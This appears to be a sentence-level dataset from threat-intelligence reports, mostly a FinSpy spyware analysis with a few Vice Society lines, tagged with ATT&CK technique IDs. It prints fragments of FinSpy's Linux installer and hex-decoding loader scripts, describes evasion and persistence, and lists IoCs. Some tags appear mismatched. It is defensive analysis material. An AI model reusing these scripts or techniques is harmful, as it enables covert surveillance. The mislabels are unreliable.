{"sentence": "It is important to highlight that the shellcodes only collect the data, all the checks are performed server-side.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a shellcode uploads suspicious execution results (e.g. the Pre-Validator is running on a virtual machine), the server provides a shellcode that terminates the Pre-Validator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In total, we observed 33 Security Shellcodes provided by the server (listed in execution order): Shellcode # Description 1 Attempts to detect a hypervisor with the CPUID (EAX = 1) instruction.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "3 Returns the user’s profile folder (e.g. C:\\Users\\username) 4 Returns the short form of the user’s profile folder (e.g. C:\\Users\\abcdef~1) 5 Returns the type of the drive containing the backdoored application (e.g. removable drive) 6 Returns process names of the current process tree (i.e. the current process, the parent process, the grandparent process, etc.) 7 Returns the path to the ‘Program Files’ folder.", "labels": ["T1057", "T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "8 For the system drive", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": ", returns: Overall available space Space available to current user (may be less than overall available space due to quotas) Disk capacity 9 Returns the path to the user’s temporary folder. 10 Returns the list of network adapter types, IP and MAC addresses assigned to them. 11 Returns the list of running processes 12 Returns ProcessDebugPort value returned by NtQueryInformationProcess for current process. 13 Returns ProcessDebugObjectHandle value returned by NtQueryInformationProcess for current process. 14 Returns TotalNumberOfObjects and TotalNumberOfHandles values of objects created by NtCreateDebugObject.", "labels": ["T1016", "T1057", "T1082", "T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "15 Returns the current user’s SID.", "labels": ["T1033"], "doc_title": "FinSpy unseen findings"}
{"sentence": "16 Returns the list of images (EXE/DLL files) loaded into the current process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "18 Returns information about the machine’s BIOS.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "19 Returns the list of object names in the \\GLOBAL??", "labels": ["T1083"], "doc_title": "FinSpy unseen findings"}
{"sentence": "21 Returns the current user’s name, computer name, path to the current executable, its name and command line path.", "labels": ["T1033", "T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "22 Returns the list of loaded drivers.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "23 Returns the list of PDB paths of loaded drivers 24 Returns the first 16 bytes of the first exported Zw* function of ntdll.dll (ZwAcceptConnectPort) 25 Verifies the signature of the parent process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "26 Returns information about connected Plug and Play devices.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "27 Returns information about the computer system (from SELECT *", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "32 Returns the current domain SID.", "labels": ["T1033"], "doc_title": "FinSpy unseen findings"}
{"sentence": "33 Cleans API functions potentially hooked by security solutions: Nt* functions in ntdll.dll and all exported functions in kernel32.dll, kernelbase.dll and advapi32.dll.", "labels": ["T1562.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator Installer This module is an obfuscated shellcode.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "A shellcode with the Post-Validator itself.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Creates a scheduled task that runs at system startup and launches the Post-Validator Loader via regsvr32 (task action:", "labels": ["T1053.005"], "doc_title": "FinSpy unseen findings"}
{"sentence": "%windir%\\syswow64\\regsvr32.exe /s “<path to the Loader DLL>”) After the Post-Validator is installed, the Pre-Validator shuts down.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Post-Validator The Post-Validator is a DLL obfuscated with VMProtect.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This module uses the same communication protocol that is used in the main Trojan component:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It then starts communication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute intervals.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Each heartbeat includes brief information about the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The heartbeat reply may contain different commands.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "TLV ID Command purpose (inferred from the main Trojan) Implementation of command in the Post-Validator 0x8030A0 Retrieves the implant configuration.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands are used to download and install plugins.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands are used to download and run the Trojan Installer.", "labels": ["T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Uninstall the Pre-Validator. 0x7502A0 Disconnect from the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the configuration, either uninstalls itself (by deleting its directory and the scheduled task) or goes to sleep until system reboot.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Based on the data collected by the Post-Validator, it is most likely that: The Post-Validator is deployed to ensure that the infected victim is the intended one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Even if they manage to pass all the checks of the Pre-Validator, the C2 server operator may refuse to infect a suspicious machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Names differ between samples The encrypted VFS file.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "msvcr90.dll The Trojan bundle, encrypted with XOR and compressed with aPLib. msvcr120d.dll 64-bit Trojan loader.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The executable is prepended with 0x4000 random bytes and encrypted with RC4 (key: machine GUID) msvcr140d.dll 32-bit Trojan loader, also prepended with random bytes and encrypted with RC4.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once the working directory is prepared, the Installer launches the Trojan.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader The 32-bit Trojan Loader, which is launched regardless of the victim machine architecture, checks if it is running on a 64-bit system.", "labels": ["T1082"], "doc_title": "FinSpy unseen findings"}
{"sentence": "If so, it reads the 64-bit loader (msvcr120d.dll) from disk and runs it as a shellcode.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader (either the 32-bit or the 64-bit one): Reads the Trojan bundle file (dll), decrypts it with XOR and unpacks with aPLib.", "labels": ["T1027", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Injects the Trojan DLL into exe by either calling CreateRemoteThread or using the KernelCallbackTable technique.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "MacOS Infection The macOS version of the malware is not as complicated as the Windows one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is written in Objective-C. An obfuscator similar to OLLVM is used to protect FinSpy for Mac.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Additionally, Objective-C selectors that may reveal information about method names contain junk.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The macOS version of FinSpy has the following components: The Installer.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "It drops the following files to the machine: Path Description /Library/Frameworks/Storage.framework A directory with the Trojan inside /private/etc/logind The Trojan loader that runs as a launch agent.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "/Library/LaunchAgents/logind.plist The configuration of the logind agent.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan needs it in order to maintain persistence.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All copied files are timestomped (modification date is the timestamp of Finder.app).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer sets their owner to root:wheel.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "By copying the logind.plist file to the /Library/LaunchAgents directory the Installer configures the Trojan to load at startup.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Installer then launches the logind executable (Trojan Loader) with the launchctl utility.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader The Initial Loader (/private/etc/logind) launches every time when the operating system boots up.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once launched, The Initial Loader launches the Trojan Loader (/Library/Frameworks/Storage.framework/Contents/MacOS/logind).", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader The Trojan Loader has a constructor function that is invoked before main.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "These hooks allow the Trojan to load plugins while decrypting them on the fly.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the Orchestrator is unpacked, it is reflectively loaded.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Linux Infection The Linux version of FinSpy is protected with an obfuscator similar to OLLVM.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The leaked FinFisher support questions database suggests physical access could be used to infect machines:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "A question related to Linux infection which was submitted to FinFisher support in 2013", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The initial stage of the Installer is the following shell script:#!/bin/sh ELF_MAGIC=7f arch=`od -j4", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-t u1 < /bin/sh | tr -d ' '` case $arch in 1)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "ARCHIVE=`grep --text --line-number '^__x86xx__$' \"$0\" | cut -d ':'", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "ARCHIVE=`grep --text --line-number '^__x64xx__$' \"$0\" | cut -d ':'", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-f 1` ;; *) exit 0 ;; esac ARCHIVE=$((ARCHIVE+1)) tail -n +$ARCHIVE $0 > /tmp/udev2 && chmod +x /tmp/udev2 if [ -n \"$SUDO_USER\" ]; then su -c /tmp/udev2 $SUDO_USER else /tmp/udev2 fi if [ \"$?\"", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "-eq 0 ];then rm -rf \"$0\" fi exit 0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Both versions of the installer executable are appended to the Bash script.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The 32-bit version is delimited from the script with the __x86xx__ string, and the __x64xx__ string delimits the 64-bit version from the 32-bit one.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The launched executable first checks if it is running in a virtual machine with: The CPUID assembly instruction The lspci command The dmesg command", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The working directory is located at the ~/<directory #1>/<directory #2> path.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Directory #1 and #2 can take the following names that are selected randomly: Directory #1 names Directory #2 names .cache .dbus .fontconfig .gconf .gnome .gnome2 .kde .local .qt .ssh .config .bin .sbin .etc .cfg .apps", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The installer then drops the Trojan to the working directory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The plugin files have the <module ID>.so name, and the names of their configurations are <module ID>C.dat.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On KDE, it copies a Bash script to either ~/.kde4/Autostart/udev2.sh or ~/.kde/Autostart/udev2.sh.", "labels": ["T1059.003"], "doc_title": "FinSpy unseen findings"}
{"sentence": "On other desktop environments , it appends the same script to the ~/.profile file.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Initial Loader The Initial Loader is the following shell script:", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "if [ ! -n", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "\"$CS_FONT_COLF\" ]; then CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../& /g'`; do echo \"000000 $i\" | xxd -r; done) fi ${CS_FONT_COLF} ${CS_FONT_SID} && ${CS_FONT_LOAD} > /dev/null 2>&1 && ${CS_FONT_COLF} - > /dev/null 2>&1 unset CS_FONT_ID unset CS_FONT_COLF unset CS_FONT_SID unset CS_FONT_LOAD fi This script decodes the directory path and the Trojan Loader from hexadecimal and executes the “cd <working directory path> && ./<loader", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "filename> > /dev/null 2>&1 && cd – > /dev/null 2>&1″ command, thus launching the Trojan Loader.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Trojan Loader When launched, the Trojan Loader: Checks if it is being debugged with the ptrace function and exits if it is.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Reads the Orchestrator file from disk and unpacks it with aPLib.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Reflectively loads and launches the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator, a DLL which is responsible for managing installed plugins and preparing data to be sent to the C2 server Plugins, DLL modules that perform malicious activities on the victim machine The virtual file system (VFS) which allows the Orchestrator and other plugins to seamlessly interact with plugins and their configurations The ProcessWorm module which intercepts system activity.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Once a process is infected, the ProcessWorm spreads to its children.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Communicator module which sends data to the C2 server and receives replies The Hider The Hider is the first launched component of the Backdoor.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is a valid PE file protected with the FinSpy VM.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "On startup, the Hider loads a clean copy of ntdll.dll from disk, which is used when calling API functions from this library.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "After that, it decrypts the Orchestrator, which is stored in the Hider’s resource section.", "labels": ["T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "A snippet of the RC4 key generation function After decrypting and unpacking the Orchestrator, the Hider reflectively loads it.", "labels": ["T1027", "T1140", "T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It works as follows: The Hider encrypts the Orchestrator’s pages with a cipher based on XOR and ROL operations and assigns the PAGE_NOACCESS attribute to them When the Orchestrator accesses hidden pages, the operating system generates an ACCESS_VIOLATION exception The Hider detects the generated exception through the hook of the KiUserExceptionDispatcher function, which handles dispatching of all exceptions The hooked function decrypts the hidden page and assigns it the PAGE_EXECUTE_READWRITE attribute, thus handling the exception The Hider conceals the unhidden pages again within 30 seconds.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator The Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server communications.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When the Orchestrator starts up, it: Hooks its own IAT (import address table) to alter the behavior of WinAPI file manipulation functions.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator needs these hooks to interact with the VFS.", "labels": ["T1547.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Sets up persistence by creating an entry in the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key.", "labels": ["T1547.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "When it detects a starting first (or a stopping last) instance of a process from the list in the configuration, an appropriate event will be reported to the C2 server during heartbeat time.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "It is notable that the application watcher acquires handles for all running processes on the system, which results in either winlogon.exe or explorer.exe obtaining numerous process handles.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Process handles acquired by explorer.exe on a clean system (left) and on an infected system with the Orchestrator residing inside the explorer.exe process (right)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Just like the application watcher, the injector regularly obtains the list of running processes.", "labels": ["T1057"], "doc_title": "FinSpy unseen findings"}
{"sentence": "For every process, it verifies whether the ProcessWorm is running inside it and injects the ProcessWorm if needed.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The recording manager Over the course of their execution, plugins may save recording files in the working directory (e.g. keylogs, screenshots or printed files).", "labels": ["T1056.001", "T1074.001", "T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The recording manager is tasked with two duties: Periodically checking whether there are recording files available to be sent to the C2 server Preparing recording files to be uploaded when their download is requested by the C2 server.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Every recording file stored in the working directory has the following name format: <plugin prefix><recording type prefix><five-digit random number>.<extension> The plugin prefix, the extension and the recording type prefix depend on the ID of the plugin that created the recording.", "labels": ["T1074.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator has arrays which converts IDs to prefixes and extensions.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Possible plugin prefixes: auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm, vsc, ntos, user, run, cvs, cvg, con, ssy Recording type prefixes: inf, sys, doc, mem, vmx, net, run, dat, dll.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Filename extensions used: doc, vmx, net, xls, zip.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The C2 server communication thread This thread is responsible for maintaining communication with the C2 server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Below is a list of the Orchestrator commands: Command ID Description Commands related to recordings 0x8072A0 Upload a recording file with a specified name to the C2 server.", "labels": ["T1041"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8076A0, 0x807AA0 Delete a recording with a given filename from the system.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8078A0 Retrieve the list of all the recordings present on the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8070A0 Retrieve the list of recordings made by a plugin with the specified ID.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands related to the configuration 0x8030A0 Send the current configuration to the server.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8032A0 Change the Orchestrator configuration.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commands related to plugins 0x8009A0 Send a list of installed plugins to the server. 0x8054A0, 0x805BA0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Commence the plugin installation process by creating a temporary file in the working directory.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8056A0, 0x805DA0 Append a plugin body chunk to the temporary plugin file created by the previous command. 0x8057A0, 0x805EA0 Finalize the plugin installation process.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "This command moves the contents of the temporary file to the virtual file system and loads the new plugin.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8059A0 Uninstall a plugin from the machine.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Uninstall the backdoor.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "This command wipes all the files and registry keys created by the backdoor, as well as restores the MBR and the EFI Windows Boot Manager (provided they were infected) from backups.", "labels": ["T1070.004"], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x7502A0 Terminate all livestreams.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Communicator module The malware configuration includes one or multiple C2 servers which it can connect to.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "In case one of the servers is down, the backdoor uses one of the fallback addresses.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "FinSpy does not communicate with C2 servers directly from winlogon.exe or explorer.exe.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Instead, it spawns a default browser process with a hidden window and injects the Communicator module in it.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Virtual File System component The Virtual File System is the place where all the plugin executables and their configurations hide.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "All the virtual files are stored in a single “real” file, which is encrypted with RC4 and has the following structure: File offset Description 0x0 CRC32 checksum of the file (the checksum computation starts from offset 4) VFS entry #1 0x4 ID of the plugin corresponding to the file.", "labels": ["T1573.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The Orchestrator configuration is stored on the VFS with ID 0xFFFFFFFE.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x8 0x0 if the file is a plugin configuration, 0x2 if it is a plugin executable.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "0x10 File size again.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "VFS entry #2 … The last VFS entry has the ID equal to 0xFFFFFFFF and zero size.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "EndOfFile – 0x10 0xFFFFFFFF EndOfFile – 0xC 0x0 EndOfFile – 0x8 0x0 EndOfFile – 0x4 0x0", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The VFS is accessed via file management functions hooked by the Orchestrator.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The return value of the hooked file creation function is a VFS handle, which is a number of the format 0xFF000XXX.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm is a DLL wrapped in a shellcode and obfuscated with FinSpy VM.", "labels": ["T1027"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm can be injected to processes in two ways – either by spawning a remote thread with the shellcode or by creating an APC (Asynchronous Procedure Call) with the procedure address pointing to the start of the shellcode.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The latter one is used when the ProcessWorm is injected into newly created processes.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "While the loader used with the first injection method is simple, the one invoked in case of APC injections is rather interesting.", "labels": ["T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The asynchronous procedure places a hook on the NtTestAlert function and then exits.", "labels": ["T1055", "T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Its modified version will first call the original NtTestAlert function and then invoke the ProcessWorm reflective loader.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm reflective loader comes with a twist.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "When it processes imports, it does not assign a function pointer to each entry in the IAT.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Example of junk code created by the ProcessWorm loader, useful instructions are highlighted in yellow While executing its worm-like activity, the ProcessWorm injects itself into processes created by the process that are already infected with this component.", "labels": ["T1027", "T1055"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Depending on the malware configuration, the ProcessWorm may hide the presence of FinSpy on the victim machine.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm achieves stealth by hooking low-level API functions (such as NtEnumerateValueKey or NtQuerySystemInformation)", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "The rest of the malicious activity is dispersed across hooks of various WinAPI functions.", "labels": ["T1106"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Examples of such information are typed keystrokes or documents sent to the printer.", "labels": ["T1005", "T1056.001"], "doc_title": "FinSpy unseen findings"}
{"sentence": "Unlike the Windows version, it does have the following components: The Virtual File System (plugins and configurations are stored in separate files)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The ProcessWorm (its functionality is embedded into plugins)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The communicator module (the Orchestrator exchanges data with C2 servers without additional modules)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "The application watcher (the Orchestrator does not report started or stopped processes to C2 servers) The functionalities of the Orchestrator remain the same: exchanging information with the C2 server, dispatching commands to plugins and managing recording files.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Plugins overview In the chart below we summarize information about plugins.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Plugin type and ID Features FileManager (0x02) Upload, download, search, delete files.", "labels": ["T1070.004", "T1083", "T1105"], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only) ClickRecorder (0x22) Capture the screen area around mouse click locations WebcamRecorder (0x23) Take webcam images with a specified frame rate, and livestream or record them.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "ScreenRecorder (0x24) Take screenshots with a specified frame rate, and livestream or record them.", "labels": ["T1113"], "doc_title": "FinSpy unseen findings"}
{"sentence": "BlackberryInfect (0x25) Infect Blackberry mobile devices with a malicious application.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only) EmailRecorder (0x27) Steal email from Thunderbird, Outlook, Apple Mail and Icedove WiFiRecorder (0x28)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "(Windows only)", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "IoCs The following IoC list is not complete.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Contact: intelreports@kaspersky.com File Hashes 5EDF9810355DE986EAD251B297856F38 31F1D208EE740E1FDF9667B2E525F3D7 4994952020DA28BB0AA023D236A6BF3B 262C9241B5F50293CB972C0E93D5D5FC 405BB24ADE435693B11AF1D81E2BB279 EF74C95B1DBDBF9BD231DA1EE99F0A7E B8A15A0CE29692FBA36A87FCDED971DE File Paths \\efi\\microsoft\\boot\\en-us\\%HEXNUMS% – on EFI disk partition /Library/Frameworks/Storage.framework – for Mac OS version Mutexes SessionImmersiveMutex WininetStartupMutex0 Events 0x0A7F1FFAB12BB2 WinlogonLogon Debug.Trace.", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Event.f120.0.v1 TermSrvReadyEvent%HEXNUMS% SessionImmersiveEvent Filemappings 0x0A7F1FFAB12BB3 windows_shell_global Mailslots mailslot\\x86_microsoft.windows.c-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9 mailslot\\x86_microsoft.vc90.mfc_1fc8b3b9a1e18e3b_9.0.30729.6161_none_4bf7e3e2bf9ada4c mailslot\\6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2 mailslot\\ConsoleEvent-0x00000DAC–16628266191048322066-650920812-1622683116-1844332734-1046489716-2050906124-443455187 Domains and IPs 45.86.136[.]138 79.143.87[.]216 185.25.51[.]104 109.235.67[.]175 213.252.247[.]105 108.61.190[.]183 185.141.24[.]204 1 Extended BIOS Data Area (https://wiki.osdev.org/Memory_Map_(x86))", "labels": [], "doc_title": "FinSpy unseen findings"}
{"sentence": "Vice Society:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Unlike many other ransomware groups such as LockBit that follow a typical ransomware-as-a-service (RaaS) model, Vice Society’s operations are different in that they’ve been known for using forks of pre-existing ransomware families in their attack chain that are sold on DarkWeb marketplaces.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These include the HelloKitty (aka FiveHands) and Zeppelin strains of ransomware as opposed to Vice Society developing their own custom payload.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In September 2022, a joint Cybersecurity Advisory (CSA) from the FBI, CISA and the MS-ISAC declared they had recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The CSA continued that attacks could increase as the 2022-23 school year begins and criminal ransomware groups perceive opportunities for successful attacks.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society first surfaced in the summer of 2021, and in that time frame it was seen exploiting the CVE-2021-34527 (aka PrintNightmare) vulnerability as part of their attack chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The gang is also known to target backups and exfiltrate data from compromised systems to be leveraged for the purpose of double extortion, a common ransomware operation tactic where victims are pressured to pay a specified ransom amount in exchange for decryption and to avoid having sensitive data published on the attacker’s dedicated leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Table of Contents Vice Society Activity TimelineStudy of Vice Society’s VictimsGeographical ImpactImpacted Industry VerticalsLeak Site Metric ComparisonsUnit 42 Incident Response Data on Vice SocietyVice Society Technical DetailsLeak Site SynopsisHelloKitty UsageZeppelin UsageConclusionTactics, Techniques and Procedures (TTPs)Indicators of Compromise (IoCs)Additional Resources Vice Society Activity Timeline Early reports of the extortion group Vice Society were shared on Twitter by malware researchers such as Michael Gillespie.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
